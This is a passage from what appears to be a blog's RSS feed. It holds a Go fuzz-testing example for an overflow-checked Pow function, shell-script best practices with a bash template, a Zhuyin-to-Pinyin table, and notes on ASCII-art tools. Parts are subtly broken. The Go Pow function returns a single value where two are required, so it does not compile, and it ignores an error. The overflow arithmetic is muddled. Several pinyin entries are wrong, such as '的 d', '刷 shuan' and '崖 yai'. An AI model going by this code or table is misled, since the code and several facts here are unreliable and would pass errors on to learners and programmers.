&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">x&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">y&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>go test -fuzz=Fuzz -fuzztime 20s&lt;/code>&lt;/p>
&lt;ul>
&lt;li>When a fuzz test fails, Go records the input in testcase/&lt;/li>
&lt;li>You will find that when x=6 and y=30, the assert fails, i.e., pow(6, 30)/6 is not equal to pow(6, 29). That seems odd, but after testing you will see it is because pow(6, 30) overflows.&lt;/li>
&lt;li>The max.MaxUint in Go is about &lt;code>18 * 10^¹⁸&lt;/code>, while &lt;code>6^²⁹&lt;/code> is about &lt;code>7 * 10^¹⁸&lt;/code>. If you multiply &lt;code>6^²⁹&lt;/code> by 6, it overflows and yields &lt;code>8 * 10^¹⁸&lt;/code>. It is like running two laps and ending up near the starting point.&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">ErrOverflow&lt;/span> = &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Errorf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;overflow&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">base&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>, &lt;span style="color:#a6e22e">exponent&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>) (&lt;span style="color:#66d9ef">uint&lt;/span>, &lt;span style="color:#66d9ef">error&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">exponent&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">prevResult&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">base&lt;/span>, &lt;span style="color:#a6e22e">exponent&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">math&lt;/span>.&lt;span style="color:#a6e22e">MaxUint&lt;/span>&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#a6e22e">base&lt;/span> &amp;lt; &lt;span style="color:#a6e22e">prevResult&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>, &lt;span style="color:#a6e22e">ErrOverflow&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">base&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#a6e22e">prevResult&lt;/span>, &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">FuzzPow&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">testing&lt;/span>.&lt;span style="color:#a6e22e">F&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Fuzz&lt;/span>(&lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">testing&lt;/span>.&lt;span style="color:#a6e22e">T&lt;/span>, &lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">New&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#ae81ff">1&lt;/span>); &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#a6e22e">ErrOverflow&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">result&lt;/span>, &lt;span style="color:#a6e22e">x&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span>); &lt;span style="color:#a6e22e">x&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">y&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#a6e22e">ErrOverflow&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">resultDivX&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">result&lt;/span>&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">resultDivX&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Shell Script Best Practices</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221103-shell-script-best-practices/</link><pubDate>Thu, 03 Nov 2022 16:51:11 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221103-shell-script-best-practices/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://sharats.me/posts/shell-script-best-practices/" target="_blank" rel="noopener">Shell Script Best Practices&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="things">Things&lt;/h4>
&lt;ol>
&lt;li>Just make the first line be &lt;code>#!/usr/bin/env bash&lt;/code>.&lt;/li>
&lt;li>Use the &lt;code>.sh&lt;/code> (or &lt;code>.bash&lt;/code>) extension for your file.&lt;/li>
&lt;li>Use &lt;code>set -o errexit&lt;/code> at the start of your script.&lt;/li>
&lt;li>Prefer to use &lt;code>set -o nounset&lt;/code>.
&lt;ol>
&lt;li>use &lt;code>&amp;quot;${VARNAME-}&amp;quot;&lt;/code> instead of &lt;code>&amp;quot;$VARNAME&amp;quot;&lt;/code>&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>Use &lt;code>set -o pipefail&lt;/code>.&lt;/li>
&lt;li>Use &lt;code>set -o xtrace&lt;/code>, with a check on &lt;code>$TRACE&lt;/code> env variable.
&lt;ol>
&lt;li>&lt;code>if [[ &amp;quot;${TRACE-0}&amp;quot; == &amp;quot;1&amp;quot; ]]; then set -o xtrace; fi&lt;/code>&lt;/li>
&lt;li>People can now enable debug mode, by running your script as &lt;code>TRACE=1 ./script.sh&lt;/code> instead of &lt;code>./script.sh&lt;/code>.&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>Use &lt;code>[[ ]]&lt;/code> for conditions in &lt;code>if&lt;/code> / &lt;code>while&lt;/code> statements, instead of &lt;code>[ ]&lt;/code> or &lt;code>test&lt;/code>.&lt;/li>
&lt;li>Always quote variable accesses with double-quotes.&lt;/li>
&lt;li>Use &lt;code>local&lt;/code> variables in functions.&lt;/li>
&lt;li>When printing error messages, please redirect to stderr.
&lt;ol>
&lt;li>Use &lt;code>echo 'Something unexpected happened' &amp;gt;&amp;amp;2&lt;/code> for this.&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>Use long options, where possible (like &lt;code>--silent&lt;/code> instead of &lt;code>-s&lt;/code>).&lt;/li>
&lt;li>If appropriate, change to the script&amp;rsquo;s directory close to the start of the script.
&lt;ol>
&lt;li>Use cd &amp;ldquo;$(dirname &amp;ldquo;$0&amp;rdquo;)&amp;rdquo;, which works in most cases.&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>Use &lt;code>shellcheck&lt;/code>. Heed its warnings.&lt;/li>
&lt;/ol>
&lt;h4 id="template">Template&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/usr/bin/env bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>set -o errexit
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>set -o nounset
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>set -o pipefail
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#f92672">[[&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>TRACE-0&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;1&amp;#34;&lt;/span> &lt;span style="color:#f92672">]]&lt;/span>; &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> set -o xtrace
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#f92672">[[&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>1-&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#f92672">=&lt;/span>~ ^-*h&lt;span style="color:#f92672">(&lt;/span>elp&lt;span style="color:#f92672">)&lt;/span>?$ &lt;span style="color:#f92672">]]&lt;/span>; &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#39;Usage: ./script.sh arg-one arg-two
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">This is an awesome bash script to make your life better.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cd &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>dirname &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$0&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>main&lt;span style="color:#f92672">()&lt;/span> &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#66d9ef">do&lt;/span> awesome stuff
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>main &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$@&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>The Art of Command Line</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221102-the-art-of-command-line/</link><pubDate>Wed, 02 Nov 2022 15:04:37 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221102-the-art-of-command-line/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/jlevy/the-art-of-command-line" target="_blank" rel="noopener">The Art of Command Line&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>一張圖學會【拼音輸入法】</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221025-zhuyin-pinyin/</link><pubDate>Tue, 25 Oct 2022 11:57:51 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221025-zhuyin-pinyin/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://briian.com/zhuyin-pinyin" target="_blank" rel="noopener">一張圖學會【拼音輸入法】&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="聲母initials">聲母（Initials）&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>聲母&lt;/th>
&lt;th>拼音&lt;/th>
&lt;th>例字&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>ㄅ&lt;/td>
&lt;td>b&lt;/td>
&lt;td>爸 ba、別 bie、奔 ben&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄆ&lt;/td>
&lt;td>p&lt;/td>
&lt;td>撇 pie、平 ping、鵬 peng&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄇ&lt;/td>
&lt;td>m&lt;/td>
&lt;td>媽 ma、莫 mo、某 mou&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄈ&lt;/td>
&lt;td>f&lt;/td>
&lt;td>發 fa、飯 fan、風 feng&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄉ&lt;/td>
&lt;td>d&lt;/td>
&lt;td>的 d、但 dan、段 duan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄊ&lt;/td>
&lt;td>t&lt;/td>
&lt;td>他 ta、貼 tie、團 tuan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄋ&lt;/td>
&lt;td>n&lt;/td>
&lt;td>你 ni、農 nong、暖 nuan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄌ&lt;/td>
&lt;td>l&lt;/td>
&lt;td>李 li、亂 luan、亮 liang&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄍ&lt;/td>
&lt;td>g&lt;/td>
&lt;td>跟 gen、怪 guai、灌 guan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄎ&lt;/td>
&lt;td>k&lt;/td>
&lt;td>快 kuai、考 kao、狂 kuang&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄏ&lt;/td>
&lt;td>h&lt;/td>
&lt;td>哈 ha、漢 han、橫 heng&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄐ&lt;/td>
&lt;td>j&lt;/td>
&lt;td>叫 jiao、雞 ji、京 jing&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄑ&lt;/td>
&lt;td>q&lt;/td>
&lt;td>七 qi、琴 qin、巧 qiao&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄒ&lt;/td>
&lt;td>x&lt;/td>
&lt;td>西 xi、寫 xie、小 xiao&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄓ&lt;/td>
&lt;td>zh&lt;/td>
&lt;td>知 zhi、戰 zhan、正 zheng&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄔ&lt;/td>
&lt;td>ch&lt;/td>
&lt;td>吃 chi、船 chuan、重 chong&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄕ&lt;/td>
&lt;td>sh&lt;/td>
&lt;td>是 shi、山 shan、刷 shuan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄖ&lt;/td>
&lt;td>r&lt;/td>
&lt;td>日 ri、讓 rang、人 ren&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄗ&lt;/td>
&lt;td>z&lt;/td>
&lt;td>字 zi、讚 zan、昨 zuo&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄘ&lt;/td>
&lt;td>c&lt;/td>
&lt;td>次 ci、菜 cai、餐 can&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄙ&lt;/td>
&lt;td>s&lt;/td>
&lt;td>三 san、四 si、算 suan&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h5 id="介音--特殊聲母">介音 / 特殊聲母&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>類型&lt;/th>
&lt;th>拼音&lt;/th>
&lt;th>例字&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>y&lt;/td>
&lt;td>yi / i&lt;/td>
&lt;td>以 yi、依 yi、修 xiu&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>w&lt;/td>
&lt;td>wu / u&lt;/td>
&lt;td>無 wu、溫 wen、船 chuan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>v&lt;/td>
&lt;td>yu / ü&lt;/td>
&lt;td>律 lü、雨 yu、院 yuan&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h5 id="單韻母finals">單韻母（Finals）&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>韻母&lt;/th>
&lt;th>拼音&lt;/th>
&lt;th>例字&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>ㄚ&lt;/td>
&lt;td>a&lt;/td>
&lt;td>沙 sha、撒 sa、奧 ao&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄛ&lt;/td>
&lt;td>o&lt;/td>
&lt;td>哦 o、偶 ou、歐 ou&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄜ&lt;/td>
&lt;td>e&lt;/td>
&lt;td>餓 e、樂 le、設 she&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄝ&lt;/td>
&lt;td>ê / ye&lt;/td>
&lt;td>也 ye、學 xue、切 qie&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄞ&lt;/td>
&lt;td>ai&lt;/td>
&lt;td>愛 ai、篩 shai、崖 yai&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄟ&lt;/td>
&lt;td>ei&lt;/td>
&lt;td>雷 lei、最 zui、脆 cui&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄠ&lt;/td>
&lt;td>ao&lt;/td>
&lt;td>凹 ao、老 lao、笑 xiao&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄡ&lt;/td>
&lt;td>ou&lt;/td>
&lt;td>歐 ou、樓 lou、手 shou&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄢ&lt;/td>
&lt;td>an&lt;/td>
&lt;td>安 an、蘭 lan、算 suan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄣ&lt;/td>
&lt;td>en&lt;/td>
&lt;td>恩 en、林 lin、冷 leng&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄤ&lt;/td>
&lt;td>ang&lt;/td>
&lt;td>昂 ang、浪 lang、讓 rang&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄥ&lt;/td>
&lt;td>eng&lt;/td>
&lt;td>成 cheng、冷 leng、令 ling&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄦ&lt;/td>
&lt;td>er&lt;/td>
&lt;td>二 er、兒 er、而 er&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h5 id="複韻母--組合韻">複韻母 / 組合韻&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>拼音&lt;/th>
&lt;th>例字&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>ye&lt;/td>
&lt;td>也 ye、結 jie、血 xie&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>iu&lt;/td>
&lt;td>六 liu、有 you、謬 miu&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>in&lt;/td>
&lt;td>音 yin、新 xin、林 lin&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ing&lt;/td>
&lt;td>英 ying、靈 ling、醒 xing&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>uan&lt;/td>
&lt;td>元 yuan、卷 juan、團 tuan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ue&lt;/td>
&lt;td>略 lue、學 xue&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>yun&lt;/td>
&lt;td>雲 yun、巡 xun、群 qun&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ong&lt;/td>
&lt;td>用 yong、兇 xiong、同 tong&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ui&lt;/td>
&lt;td>鬼 gui、為 wei、虧 kui&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>un&lt;/td>
&lt;td>文 wen、混 hun、準 zhun&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ua&lt;/td>
&lt;td>華 hua、抓 zhua、蛙 wa&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>uai&lt;/td>
&lt;td>壞 huai、快 kuai、踹 chuai&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table></description></item><item><title>Printing ASCII Art in the Shell</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221021-shell-printing-ascii-art/</link><pubDate>Fri, 21 Oct 2022 17:30:41 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221021-shell-printing-ascii-art/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/shell-printing-ascii-art" target="_blank" rel="noopener">Printing ASCII Art in the Shell&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="banner">banner&lt;/h5>
&lt;blockquote>
&lt;p>&lt;code>sudo apt install sysvbanner&lt;/code>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ banner hello
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># # ###### # # ####&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># # # # # # #&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">###### ##### # # # #&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># # # # # # #&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># # # # # # #&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># # ###### ###### ###### ####&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="figlet-frank-ian-and-glenns-letters">FIGlet: Frank, Ian, and Glenn&amp;rsquo;s Letters&lt;/h5>
&lt;blockquote>
&lt;p>&lt;code>sudo apt install figlet&lt;/code>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ figlet hello
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> _ _ _
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| |__ ___| | | ___
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| &lt;span style="color:#960050;background-color:#1e0010">&amp;#39;&lt;/span>_ &lt;span style="color:#ae81ff">\ &lt;/span>/ _ &lt;span style="color:#ae81ff">\ &lt;/span>| |/ _ &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>| | | | __/ | | &lt;span style="color:#f92672">(&lt;/span>_&lt;span style="color:#f92672">)&lt;/span> |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_| |_|&lt;span style="color:#ae81ff">\_&lt;/span>__|_|_|&lt;span style="color:#ae81ff">\_&lt;/span>__/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>-f&lt;/code> option and specify a font name for the output&lt;/li>
